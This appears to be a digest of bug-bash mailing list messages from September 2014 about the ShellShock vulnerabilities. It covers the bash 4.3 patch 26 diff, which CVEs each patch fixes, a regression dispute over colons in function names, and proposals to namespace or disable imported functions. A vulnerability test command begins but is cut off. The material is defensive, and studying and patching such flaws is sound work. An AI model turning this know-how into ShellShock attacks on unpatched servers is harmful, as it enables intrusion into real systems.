> general.

It's mainly the combination of `function` and `()` that make no sense in any 
context.

I usually prefer the function keyword especially for bash functions, but it's 
entirely for portability reasons that not a lot of people care about. (this 
opinion could also change if the ksh dynamic scope option becomes less buggy 
before the next version, or dash were to make some improvements to make me 
care about its locals, among other things.)

-- 
Dan Douglas

signature.asc
Description: This is a digitally signed message part.

demonstration of CVE-2014-7186 ShellShock vulnerability

[Eric Blake]

[posting a rehash of what has been said in several other threads, to
pull all the information into one easier-to-find location]

I know that ShellShock has been getting all the focus lately, but MOST
sites that I have seen that offer advice on how to test whether a build
is vulnerable are testing ONLY for CVE-2014-6271 (arbitrary command
execution after the '}' of a function definition) and/or CVE-2014-7169
(file creation if a syntax error is followed by trailing redirection and
backslash).  This email exists to call attention to the fact that as
long as there are exploitable off-by-one bugs in the parser, your system
is vulnerable to all such exploits UNTIL bash is patched to place
exported functions in a separate namespace and/or prohibit exported
functions.  *In particular*, note that applying 4.3 patch 25 patches
only CVE-2014-6271, and patch 26 patches only CVE-2014-7169, but if
those are the only two patches you apply, YOU ARE STILL VULNERABLE TO
SHELLSHOCK ATTACKS.  One of these is CVE-2014-7186 (the parser does
out-of-bounds referencing if more than 10 heredocs are nested in a
single command).

On the other hand, it is possible to patch bash to avoid CVE-2014-7186
_without_ actually patching the parser bug (ideally, you want both
patches together) - but fortunately, the parser bug is only a security
hole IF there is a way to trigger the parser via arbitrary environment
variable contents.  So distros like Red Hat that are using the
additional downstream patch to place exported functions into their own
namespace are automatically immune to ALL possible ShellShock attacks,
even if bugs remain in the parser.  For more details on the patch Red
Hat is using:
http://www.openwall.com/lists/oss-security/2014/09/25/13

So, here's a few tests you can run to see if your 'bash' still has problems:

First, determine if your bash is still has the parser bug documented by
CVE-2014-7186.  Remember, having this bug does not, by itself, make you
vulnerable to ShellShock attacks; conversely, if your bash has been
patched to avoid this bug, you may still be vulnerable to ShellShock
attacks via other parser bugs.

$ bash -c ':

Re: Bash-4.3 Official Patch 26

[Nathan McGarvey]

Pardon my catching up. This (and all the other related patches for 
other past versions) is to remedy CVE-2014-7169 and CVE-2014-6271 was 
remedied by the previous Patch 25 (and related set for all other 
versions.) Is this correct? Or are there still outstanding issues?


-Nathan

On 09/26/2014 05:17 PM, Chet Ramey wrote:

 BASH PATCH REPORT
 =

Bash-Release:   4.3
Patch-ID:   bash43-026

Bug-Reported-by:Tavis Ormandy 
Bug-Reference-ID:
Bug-Reference-URL:  http://twitter.com/taviso/statuses/514887394294652929

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch (apply with `patch -p0'):

*** ../bash-4.3.25/parse.y  2014-07-30 10:14:31.0 -0400
--- parse.y 2014-09-25 20:20:21.0 -0400
***
*** 2954,2957 
--- 2954,2959 
 word_desc_to_read = (WORD_DESC *)NULL;

+   eol_ungetc_lookahead = 0;
+
 current_token = '\n';  /* XXX */
 last_read_token = '\n';
*** ../bash-4.3.25/y.tab.c  2014-07-30 10:14:32.0 -0400
--- y.tab.c 2014-09-25 20:21:48.0 -0400
***
*** 5266,5269 
--- 5266,5271 
 word_desc_to_read = (WORD_DESC *)NULL;

+   eol_ungetc_lookahead = 0;
+
 current_token = '\n';  /* XXX */
 last_read_token = '\n';
***
*** 8540,8542 
   }
   #endif /* HANDLE_MULTIBYTE */
-
--- 8542,8543 
*** ../bash-4.3/patchlevel.h2012-12-29 10:47:57.0 -0500
--- patchlevel.h2014-03-20 20:01:28.0 -0400
***
*** 26,30 
  looks for to find the patch level (for the sccs version string). */

! #define PATCHLEVEL 25

   #endif /* _PATCHLEVEL_H_ */
--- 26,30 
  looks for to find the patch level (for the sccs version string). */

! #define PATCHLEVEL 26

   #endif /* _PATCHLEVEL_H_ */

Bash-4.2 Official Patch 49

[V S, Nagendra (Nonstop Filesystems Team)]

Hi Chet,
Thanks a lot for the patch. 

The official bash patch & the patch that you posted on openwall forum seems to 
be different.  The official bash patch does not contain this

*** ../bash-4.2.48/y.tab.c 2012-12-31 11:53:10.0 -0500
--- y.tab.c2014-09-25 20:23:25.0 -0400
***
*** 5163,5166 
--- 5163,5168 
word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
current_token = '\n'; /* XXX */
last_read_token = '\n';
***
*** 8377,8379 
  }
  #endif /* HANDLE_MULTIBYTE */
- 
--- 8379,8380 


Is this intentional ?

Thanks & Regards
Nagendra.V.S 

Re: REGRESSION: shellshock patch rejects valid function names

[Brian J. Fox]

Hey Eduardo -

Jay is one of many - the fix for the parser exploit is using the wrong code to 
decide if the identifier is valid for a function.  And it doesn't have to.

Jay should certainly not "fix" his working scripts - which, btw, could have 
been working for the last 20 years.

i guess i'll submit a working patch if necessary.  Chet, is that necessary?

On Sep 26, 2014, at 1:08 PM, Jay Freeman (saurik)  wrote:

> - "Eduardo A. Bustamante López"  wrote:
> 
>> Well, what did you expect? You're relying on undocumented features.
> ...
>> So, fix your scripts, perhaps?
> 
> I am sorry I seem to have offended you so much to have warranted this form of 
> response :(.
> 
>> It's common knowledge that if you rely on undocumented stuff, your
>> code will eventually break, like it did now. It's not a regression
>> though, nowhere in the manual you'll find that colons are allowed in
>> function names.
> 
> Please note that I am by far not the only person who uses colons in function 
> names: Google's style guide for shell actually states that using :: in 
> function names to separate library names from function names and package 
> names within library names is their best practice.
> 
> http://google-styleguide.googlecode.com/svn/trunk/shell.xml?showone=Function_Names#Function_Names
> 
> "Lower-case, with underscores to separate words. Separate libraries with ::. 
> Parentheses are required after the function name. The keyword function is 
> optional, but must be used consistently throughout a project." "If you're 
> writing a package, separate package names with ::."
> 
> If we are going to be adamant that this functionality--functionality that 
> many people have relied on since the dawn of bash (the earliest version of 
> bash I have access to has always allowed this), functionality that the code 
> went out of its way to support (that check_word flag exists SOLELY for this 
> purpose: this isn't accidental), functionality that "makes sense" (as it 
> allows function names to replace any normal executable command), 
> functionality that one of the world's largest software companies not only 
> uses but actively encourages third-parties to use--is a "duh, you shouldn't 
> have done that, fix your s**t" scenario, can we at least 1) document this 
> behavior change and 2) start a deprecation schedule on function/export 
> supporting these identifiers in the first place?


Thanks,

Brian
--
Brian J. Fox
Technology Partner
The Okori Group, LLC
A: 901 Olive St., 93101
O: 805.617.4048
C: 805.317.4048

Re: Issues with exported functions

[David A. Wheeler]

I appreciate the effort made in patch bash43-026, but this patch doesn't even 
BEGIN to solve the underlying shellshock problem.  This patch just continues 
the "whack-a-mole" job of fixing parsing errors that began with the first 
patch.  Bash's parser is certain have many many many other vulnerabilities; it 
was never designed to be security-relevant!

I strongly recommend *TWO* changes which have been discussed here and on 
oss-sec:
1. Add a prefix "BASH_FUNC..." (and maybe suffix) as proposed by Florian 
Weimer, per: http://www.openwall.com/lists/oss-security/2014/09/25/13
This is technically backwards-incompatible, but that will rarely matter.  The 
specific environment variable mechanism was never documented in the bash man 
page, after all, and it works just fine if both sending & receiving bashes are 
patched.  I would suggest NOT including the suffix "()", since some old systems 
might have trouble with such unusual environment variable names.
This change completely eliminates vulnerabilities from CGI and similar 
processing, where attacker data is being passed through environment variables 
to a receiving system.  It also eliminates the punning that comes when 
functions and regular environment variables have the same name, which isn't 
really POSIX-compliant anyway.

2. Import environment variables *ONLY* when they are requested; do *NOT* import 
them by default.  Christos Zoulas has proposed this.  This *IS* a real 
backwards-incompatible change.  But most users do *NOT* use this functionality, 
and increasingly downstream systems are *already* switching to this mode.  
E.G., FreeBSD has already switched to this; function imports require 
--import-functions or enabling the IMPORTFUNCTIONS option.   E.G., see: 
https://svnweb.freebsd.org/ports?view=revision&revision=369341
This change eliminates the entire class of problems.  It's still good to do #1, 
even with #2, because if someone DOES perform an import, it reduces the 
probability of accidentally importing the wrong thing.  People are ALREADY 
making this change, whether upstream does or not.

John Haxby recently posted that "A friend of mine said this could be a 
vulnerability gift that keeps on giving." 
(http://seclists.org/oss-sec/2014/q3/748).  Bash will be a continuous rich 
source of system vulnerabilities until it STOPS automatically parsing normal 
environment variables; all other shells just pass them through!   I've turned 
off several websites I control because I have *no* confidence that the current 
official bash patches actually stop anyone, and I am deliberately *not* buying 
products online today for the same reason.  I suspect others have done the 
same.  I think it's important that bash change its semantics so that it 
"obviously has absolutely no problems of this kind".

Thanks for listening!

--- David A. Wheeler

Re: Issues with exported functions

[Eric Blake]

On 09/26/2014 03:47 PM, David A. Wheeler wrote:
> I appreciate the effort made in patch bash43-026, but this patch doesn't even 
> BEGIN to solve the underlying shellshock problem.  This patch just continues 
> the "whack-a-mole" job of fixing parsing errors that began with the first 
> patch.  Bash's parser is certain have many many many other vulnerabilities; 
> it was never designed to be security-relevant!
> 
> I strongly recommend *TWO* changes which have been discussed here and on 
> oss-sec:
> 1. Add a prefix "BASH_FUNC..." (and maybe suffix) as proposed by Florian 
> Weimer, per:
http://www.openwall.com/lists/oss-security/2014/09/25/13

The prefix is nice for quick identification, but what is ESSENTIAL is
something that puts shell functions in a namespace that is untouchable
by normal shell variables (the "()" suffix in Florian's patch).  If all
you do is add a prefix, but still leave the environment containing what
can still collide with a shell variable name, you are still vulnerable.

> This is technically backwards-incompatible, but that will rarely matter.  The 
> specific environment variable mechanism was never documented in the bash man 
> page, after all, and it works just fine if both sending & receiving bashes 
> are patched.  I would suggest NOT including the suffix "()", since some old 
> systems might have trouble with such unusual environment variable names.

Well, what WOULD you suggest? There MUST be something that makes all
exported functions use env-var names that CANNOT collide with shell
variable names.  Do you have proof of a system that chokes with () in
the environment variable name?

> This change completely eliminates vulnerabilities from CGI and similar 
> processing, where attacker data is being passed through environment variables 
> to a receiving system.  It also eliminates the punning that comes when 
> functions and regular environment variables have the same name, which isn't 
> really POSIX-compliant anyway.
> 
> 2. Import environment variables *ONLY* when they are requested; do *NOT* 
> import them by default.  Christos Zoulas has proposed this.  This *IS* a real 
> backwards-incompatible change.  But most users do *NOT* use this 
> functionality, and increasingly downstream systems are *already* switching to 
> this mode.  E.G., FreeBSD has already switched to this; function imports 
> require --import-functions or enabling the IMPORTFUNCTIONS option.   E.G., 
> see: https://svnweb.freebsd.org/ports?view=revision&revision=369341
> This change eliminates the entire class of problems.  It's still good to do 
> #1, even with #2, because if someone DOES perform an import, it reduces the 
> probability of accidentally importing the wrong thing.  People are ALREADY 
> making this change, whether upstream does or not.

I am also in favor of both approaches - moving shell functions into a
non-colliding namespace (so that arbitrary contents of regular variables
CANNOT trigger parser bugs) and making shell function exports
configurable and off by default.

-- 
Eric Blake   eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org



signature.asc
Description: OpenPGP digital signature

Re: Bash-4.3 Official Patch 26

[Eric Blake]

On 09/26/2014 06:58 PM, Nathan McGarvey wrote:
> Pardon my catching up. This (and all the other related patches for
> other past versions) is to remedy CVE-2014-7169 and CVE-2014-6271 was
> remedied by the previous Patch 25 (and related set for all other
> versions.) Is this correct? Or are there still outstanding issues?

If _all_ you apply is patch 25 and 26, then you are STILL vulnerable to
ShellShock (we know of at least CVE-2014-7186 and CVE-2014-7187 that are
also ShellShock attack points, and there are probably more).  For a more
comprehensive read, see:
https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00238.html

-- 
Eric Blake   eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org



signature.asc
Description: OpenPGP digital signature

Re: Bash-4.2 Official Patch 49

[Eric Blake]

On 09/26/2014 11:00 PM, V S, Nagendra (Nonstop Filesystems Team) wrote:
> Hi Chet,
> Thanks a lot for the patch. 
> 
> The official bash patch & the patch that you posted on openwall forum seems 
> to be different.  The official bash patch does not contain this
> 
> *** ../bash-4.2.48/y.tab.c 2012-12-31 11:53:10.0 -0500
> --- y.tab.c2014-09-25 20:23:25.0 -0400

y.tab.c is a generated file, and will automatically be patched IF your
build environment contains a working bison.  The openwall forum listed a
working directory that had both the .y and generated .c file changes in
one listing, although the official patch is just the minimum change.  If
you are worried, check that your generated .c file contains the added
line.  At any rate, the existing tests to tell if CVE-2014-7186 has been
fixed for your particular build of bash won't lie - if those tests say
you are not vulnerable to this particular aspect of ShellShock, then the
patch was applied correctly.

Still, please bear in mind that ShellShock has multiple heads.  Read
this for more details why you need more than patch 49, before you can
consider yourself fully immune to ShellShock:

https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00238.html

-- 
Eric Blake   eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org



signature.asc
Description: OpenPGP digital signature